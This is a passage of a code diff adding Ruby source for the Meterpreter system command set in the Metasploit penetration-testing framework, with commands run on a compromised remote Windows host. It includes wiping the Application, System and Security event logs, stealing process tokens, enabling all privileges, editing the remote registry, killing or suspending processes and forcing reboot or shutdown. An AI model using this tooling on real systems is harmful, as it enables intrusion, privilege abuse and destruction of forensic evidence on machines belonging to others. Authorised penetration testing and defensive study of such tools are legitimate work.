307
+ end
308
+
309
+ #
310
+ # Clears the event log
311
+ #
312
+ def cmd_clearev(*args)
313
+
314
+ logs = ['Application', 'System', 'Security']
315
+ logs << args
316
+ logs.flatten!
317
+
318
+ logs.each do |name|
319
+ log = client.sys.eventlog.open(name)
320
+ print_status("Wiping #{log.length} records from #{name}...")
321
+ log.clear
322
+ end
323
+ end
324
+
325
+ #
326
+ # Kills one or more processes.
327
+ #
328
+ def cmd_kill(*args)
329
+ # give'em help if they want it, or seem confused
330
+ if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") )
331
+ cmd_kill_help
332
+ return true
333
+ end
334
+
335
+ self_destruct = args.include?("-s")
336
+
337
+ if self_destruct
338
+ valid_pids = [client.sys.process.getpid.to_i]
339
+ else
340
+ valid_pids = validate_pids(args)
341
+
342
+ # validate all the proposed pids first so we can bail if one is bogus
343
+ args.uniq!
344
+ diff = args - valid_pids.map {|e| e.to_s}
345
+ if not diff.empty? # then we had an invalid pid
346
+ print_error("The following pids are not valid: #{diff.join(", ").to_s}. Quitting")
347
+ return false
348
+ end
349
+ end
350
+
351
+ # kill kill kill
352
+ print_line("Killing: #{valid_pids.join(", ").to_s}")
353
+ client.sys.process.kill(*(valid_pids.map { |x| x }))
354
+ return true
355
+ end
356
+
357
+ #
358
+ # help for the kill command
359
+ #
360
+ def cmd_kill_help
361
+ print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
362
+ print_line("Terminate one or more processes.")
363
+ print_line(" -s : Kills the pid associated with the current session.")
364
+ end
365
+
366
+ #
367
+ # validates an array of pids against the running processes on target host
368
+ # behavior can be controlled to allow/deny proces 0 and the session's process
369
+ # the pids:
370
+ # - are converted to integers
371
+ # - have had pid 0 removed unless allow_pid_0
372
+ # - have had current session pid removed unless allow_session_pid (to protect the session)
373
+ # - have redundant entries removed
374
+ #
375
+ # @param pids [Array<String>] The pids to validate
376
+ # @param allow_pid_0 [Boolean] whether to consider a pid of 0 as valid
377
+ # @param allow_session_pid [Boolean] whether to consider a pid = the current session pid as valid
378
+ # @return [Array] Returns an array of valid pids
379
+
380
+ def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false)
381
+
382
+ return [] if (pids.class != Array or pids.empty?)
383
+ valid_pids = []
384
+ # to minimize network traffic, we only get host processes once
385
+ host_processes = client.sys.process.get_processes
386
+ if host_processes.length < 1
387
+ print_error "No running processes found on the target host."
388
+ return []
389
+ end
390
+
391
+ # get the current session pid so we don't suspend it later
392
+ mypid = client.sys.process.getpid.to_i
393
+
394
+ # remove nils & redundant pids, conver to int
395
+ clean_pids = pids.compact.uniq.map{|x| x.to_i}
396
+ # now we look up the pids & remove bad stuff if nec
397
+ clean_pids.delete_if do |p|
398
+ ( (p == 0 and not allow_pid_0) or (p == mypid and not allow_session_pid) )
399
+ end
400
+ clean_pids.each do |pid|
401
+ # find the process with this pid
402
+ theprocess = host_processes.find {|x| x["pid"] == pid}
403
+ if ( theprocess.nil? )
404
+ next
405
+ else
406
+ valid_pids << pid
407
+ end
408
+ end
409
+ return valid_pids
410
+ end
411
+
412
+ #
413
+ # Lists running processes.
414
+ #
415
+ def cmd_ps(*args)
416
+ processes = client.sys.process.get_processes
417
+ @@ps_opts.parse(args) do |opt, idx, val|
418
+ case opt
419
+ when "-h"
420
+ cmd_ps_help
421
+ return true
422
+ when "-S"
423
+ print_line "Filtering on process name..."
424
+ searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
425
+ processes.each do |proc|
426
+ if val.nil? or val.empty?
427
+ print_line "You must supply a search term!"
428
+ return false
429
+ end
430
+ searched_procs << proc if proc["name"].match(/#{val}/)
431
+ end
432
+ processes = searched_procs
433
+ when "-A"
434
+ print_line "Filtering on arch..."
435
+ searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
436
+ processes.each do |proc|
437
+ next if proc['arch'].nil? or proc['arch'].empty?
438
+ if val.nil? or val.empty? or !(val == "x86" or val == "x86_64")
439
+ print_line "You must select either x86 or x86_64"
440
+ return false
441
+ end
442
+ searched_procs << proc if proc["arch"] == val
443
+ end
444
+ processes = searched_procs
445
+ when "-s"
446
+ print_line "Filtering on SYSTEM processes..."
447
+ searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
448
+ processes.each do |proc|
449
+ searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
450
+ end
451
+ processes = searched_procs
452
+ when "-U"
453
+ print_line "Filtering on user name..."
454
+ searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
455
+ processes.each do |proc|
456
+ if val.nil? or val.empty?
457
+ print_line "You must supply a search term!"
458
+ return false
459
+ end
460
+ searched_procs << proc if proc["user"].match(/#{val}/)
461
+ end
462
+ processes = searched_procs
463
+ end
464
+ end
465
+ if (processes.length == 0)
466
+ print_line("No running processes were found.")
467
+ else
468
+ print_line
469
+ print_line(processes.to_table("Indent" => 1).to_s)
470
+ print_line
471
+ end
472
+ return true
473
+ end
474
+
475
+ def cmd_ps_help
476
+ print_line "Use the command with no arguments to see all running processes."
477
+ print_line "The following options can be used to filter those results:"
478
+
479
+ print_line @@ps_opts.usage
480
+ end
481
+
482
+
483
+
484
+ #
485
+ # Reboots the remote computer.
486
+ #
487
+ def cmd_reboot(*args)
488
+ force = 0
489
+
490
+ if args.length == 1 and args[0].strip == "-h"
491
+ print(
492
+ "Usage: reboot [options]\n\n" +
493
+ "Reboot the remote machine.\n" +
494
+ @@reboot_opts.usage)
495
+ return true
496
+ end
497
+
498
+ @@reboot_opts.parse(args) { |opt, idx, val|
499
+ case opt
500
+ when "-f"
501
+ force = val.to_i
502
+ end
503
+ }
504
+ print_line("Rebooting...")
505
+
506
+ client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)
507
+ end
508
+
509
+ #
510
+ # Modifies and otherwise interacts with the registry on the remote computer
511
+ # by allowing the client to enumerate, open, modify, and delete registry
512
+ # keys and values.
513
+ #
514
+ def cmd_reg(*args)
515
+ # Extract the command, if any
516
+ cmd = args.shift
517
+
518
+ if (args.length == 0)
519
+ args.unshift("-h")
520
+ end
521
+
522
+ # Initiailze vars
523
+ key = nil
524
+ value = nil
525
+ data = nil
526
+ type = nil
527
+ wowflag = 0x0000
528
+ rem = nil
529
+
530
+ @@reg_opts.parse(args) { |opt, idx, val|
531
+ case opt
532
+ when "-h"
533
+ print_line(
534
+ "Usage: reg [command] [options]\n\n" +
535
+ "Interact with the target machine's registry.\n" +
536
+ @@reg_opts.usage +
537
+ "COMMANDS:\n\n" +
538
+ " enumkey Enumerate the supplied registry key [-k <key>]\n" +
539
+ " createkey Create the supplied registry key [-k <key>]\n" +
540
+ " deletekey Delete the supplied registry key [-k <key>]\n" +
541
+ " queryclass Queries the class of the supplied key [-k <key>]\n" +
542
+ " setval Set a registry value [-k <key> -v <val> -d <data>]\n" +
543
+ " deleteval Delete the supplied registry value [-k <key> -v <val>]\n" +
544
+ " queryval Queries the data contents of a value [-k <key> -v <val>]\n\n")
545
+ return false
546
+ when "-k"
547
+ key = val
548
+ when "-v"
549
+ value = val
550
+ when "-t"
551
+ type = val
552
+ when "-d"
553
+ data = val
554
+ when "-r"
555
+ rem = val
556
+ when "-w"
557
+ if val == '64'
558
+ wowflag = KEY_WOW64_64KEY
559
+ elsif val == '32'
560
+ wowflag = KEY_WOW64_32KEY
561
+ end
562
+ end
563
+ }
564
+
565
+ # All commands require a key.
566
+ if (key == nil)
567
+ print_error("You must specify a key path (-k)")
568
+ return false
569
+ end
570
+
571
+ # Split the key into its parts
572
+ root_key, base_key = client.sys.registry.splitkey(key)
573
+
574
+ begin
575
+ # Rock it
576
+ case cmd
577
+ when "enumkey"
578
+
579
+ open_key = nil
580
+ if not rem
581
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
582
+ else
583
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
584
+ if remote_key
585
+ open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
586
+ end
587
+ end
588
+
589
+ print_line(
590
+ "Enumerating: #{key}\n")
591
+
592
+ keys = open_key.enum_key
593
+ vals = open_key.enum_value
594
+
595
+ if (keys.length > 0)
596
+ print_line(" Keys (#{keys.length}):\n")
597
+
598
+ keys.each { |subkey|
599
+ print_line("\t#{subkey}")
600
+ }
601
+
602
+ print_line
603
+ end
604
+
605
+ if (vals.length > 0)
606
+ print_line(" Values (#{vals.length}):\n")
607
+
608
+ vals.each { |val|
609
+ print_line("\t#{val.name}")
610
+ }
611
+
612
+ print_line
613
+ end
614
+
615
+ if (vals.length == 0 and keys.length == 0)
616
+ print_line("No children.")
617
+ end
618
+
619
+ when "createkey"
620
+ open_key = nil
621
+ if not rem
622
+ open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag)
623
+ else
624
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
625
+ if remote_key
626
+ open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag)
627
+ end
628
+ end
629
+
630
+ print_line("Successfully created key: #{key}")
631
+
632
+ when "deletekey"
633
+ open_key = nil
634
+ if not rem
635
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
636
+ else
637
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
638
+ if remote_key
639
+ open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
640
+ end
641
+ end
642
+ open_key.delete_key(base_key)
643
+
644
+ print_line("Successfully deleted key: #{key}")
645
+
646
+ when "setval"
647
+ if (value == nil or data == nil)
648
+ print_error("You must specify both a value name and data (-v, -d).")
649
+ return false
650
+ end
651
+
652
+ type = "REG_SZ" if (type == nil)
653
+
654
+ open_key = nil
655
+ if not rem
656
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
657
+ else
658
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
659
+ if remote_key
660
+ open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
661
+ end
662
+ end
663
+
664
+ open_key.set_value(value, client.sys.registry.type2str(type), data)
665
+
666
+ print_line("Successful set #{value}.")
667
+
668
+ when "deleteval"
669
+ if (value == nil)
670
+ print_error("You must specify a value name (-v).")
671
+ return false
672
+ end
673
+
674
+ open_key = nil
675
+ if not rem
676
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
677
+ else
678
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
679
+ if remote_key
680
+ open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
681
+ end
682
+ end
683
+
684
+ open_key.delete_value(value)
685
+
686
+ print_line("Successfully deleted #{value}.")
687
+
688
+ when "queryval"
689
+ if (value == nil)
690
+ print_error("You must specify a value name (-v).")
691
+ return false
692
+ end
693
+
694
+ open_key = nil
695
+ if not rem
696
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
697
+ else
698
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
699
+ if remote_key
700
+ open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
701
+ end
702
+ end
703
+
704
+ v = open_key.query_value(value)
705
+
706
+ print(
707
+ "Key: #{key}\n" +
708
+ "Name: #{v.name}\n" +
709
+ "Type: #{v.type_to_s}\n" +
710
+ "Data: #{v.data}\n")
711
+
712
+ when "queryclass"
713
+ open_key = nil
714
+ if not rem
715
+ open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
716
+ else
717
+ remote_key = client.sys.registry.open_remote_key(rem, root_key)
718
+ if remote_key
719
+ open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
720
+ end
721
+ end
722
+
723
+ data = open_key.query_class
724
+
725
+ print("Data: #{data}\n")
726
+ else
727
+ print_error("Invalid command supplied: #{cmd}")
728
+ end
729
+ ensure
730
+ open_key.close if (open_key)
731
+ end
732
+ end
733
+
734
+ #
735
+ # Calls RevertToSelf() on the remote machine.
736
+ #
737
+ def cmd_rev2self(*args)
738
+ client.sys.config.revert_to_self
739
+ end
740
+
741
+ def cmd_getprivs_help
742
+ print_line "Usage: getprivs"
743
+ print_line
744
+ print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the"
745
+ print_line "current process. Note that this only enables existing privs and does not change"
746
+ print_line "users or tokens."
747
+ print_line
748
+ print_line "See also: steal_token, getsystem"
749
+ print_line
750
+ end
751
+
752
+ #
753
+ # Obtains as many privileges as possible on the target machine.
754
+ #
755
+ def cmd_getprivs(*args)
756
+ if args.include? "-h"
757
+ cmd_getprivs_help
758
+ end
759
+ print_line("=" * 60)
760
+ print_line("Enabled Process Privileges")
761
+ print_line("=" * 60)
762
+ client.sys.config.getprivs.each do |priv|
763
+ print_line(" #{priv}")
764
+ end
765
+ print_line("")
766
+ end
767
+
768
+ #
769
+ # Tries to steal the primary token from the target process.
770
+ #
771
+ def cmd_steal_token(*args)
772
+ if(args.length != 1 or args[0] == "-h")
773
+ print_error("Usage: steal_token [pid]")
774
+ return
775
+ end
776
+ print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
777
+ end
778
+
779
+ #
780
+ # Drops any assumed token.
781
+ #
782
+ def cmd_drop_token(*args)
783
+ print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
784
+ end
785
+
786
+ #
787
+ # Displays information about the remote system.
788
+ #
789
+ def cmd_sysinfo(*args)
790
+ info = client.sys.config.sysinfo
791
+ width = "Meterpreter".length
792
+ info.keys.each { |k| width = k.length if k.length > width and info[k] }
793
+
794
+ info.each_pair do |key, value|
795
+ print_line("#{key.ljust(width+1)}: #{value}") if value
796
+ end
797
+ print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")
798
+
799
+ return true
800
+ end
801
+
802
+ #
803
+ # Shuts down the remote computer.
804
+ #
805
+ def cmd_shutdown(*args)
806
+ force = 0
807
+
808
+ if args.length == 1 and args[0].strip == "-h"
809
+ print(
810
+ "Usage: shutdown [options]\n\n" +
811
+ "Shutdown the remote machine.\n" +
812
+ @@shutdown_opts.usage)
813
+ return true
814
+ end
815
+
816
+ @@shutdown_opts.parse(args) { |opt, idx, val|
817
+ case opt
818
+ when "-f"
819
+ force = val.to_i
820
+ end
821
+ }
822
+
823
+ print_line("Shutting down...")
824
+
825
+ client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT)
826
+ end
827
+
828
+ #
829
+ # Suspends or resumes a list of one or more pids
830
+ #
831
+ # +args+ can optionally be -c to continue on error or -r to resume
832
+ # instead of suspend, followed by a list of one or more valid pids
833
+ #
834
+ # @todo Accept process names, much of that code is done (kernelsmith)
835
+ #
836
+ # @param args [Array<String>] List of one of more pids
837
+ # @return [Boolean] Returns true if command was successful, else false
838
+ def cmd_suspend(*args)
839
+ # give'em help if they want it, or seem confused
840
+ if args.length == 0 or (args.include? "-h")
841
+ cmd_suspend_help
842
+ return true
843
+ end
844
+
845
+ continue = args.delete("-c") || false
846
+ resume = args.delete("-r") || false
847
+
848
+ # validate all the proposed pids first so we can bail if one is bogus
849
+ valid_pids = validate_pids(args)
850
+ args.uniq!
851
+ diff = args - valid_pids.map {|e| e.to_s}
852
+ if not diff.empty? # then we had an invalid pid
853
+ print_error("The following pids are not valid: #{diff.join(", ").to_s}.")
854
+ if continue
855
+ print_status("Continuing. Invalid args have been removed from the list.")
856
+ else
857
+ print_error("Quitting. Use -c to continue using only the valid pids.")
858
+ return false
859
+ end
860
+ end
861
+
862
+ targetprocess = nil
863
+ if resume
864
+ print_status("Resuming: #{valid_pids.join(", ").to_s}")
865
+ else
866
+ print_status("Suspending: #{valid_pids.join(", ").to_s}")
867
+ end
868
+ begin
869
+ valid_pids.each do |pid|
870
+ print_status("Targeting process with PID #{pid}...")
871
+ targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
872
+ targetprocess.thread.each_thread do |x|
873
+ if resume
874
+ targetprocess.thread.open(x).resume
875
+ else
876
+ targetprocess.thread.open(x).suspend
877
+ end
878
+ end
879
+ end
880
+ rescue ::Rex::Post::Meterpreter::RequestError => e
881
+ print_error "Error acting on the process: #{e.to_s}."
882
+ print_error "Try migrating to a process with the same owner as the target process."
883
+ print_error "Also consider running the win_privs post module and confirm SeDebug priv."
884
+ return false unless continue
885
+ ensure
886
+ targetprocess.close if targetprocess
887
+ end
888
+ return true
889
+ end
890
+
891
+ #
892
+ # help for the suspend command
893
+ #
894
+ def cmd_suspend_help
895
+ print_line("Usage: suspend [options] pid1 pid2 pid3 ...")
896
+ print_line("Suspend one or more processes.")
897
+ print @@suspend_opts.usage
898
+ end
597
899
 
598
900
  end
599
901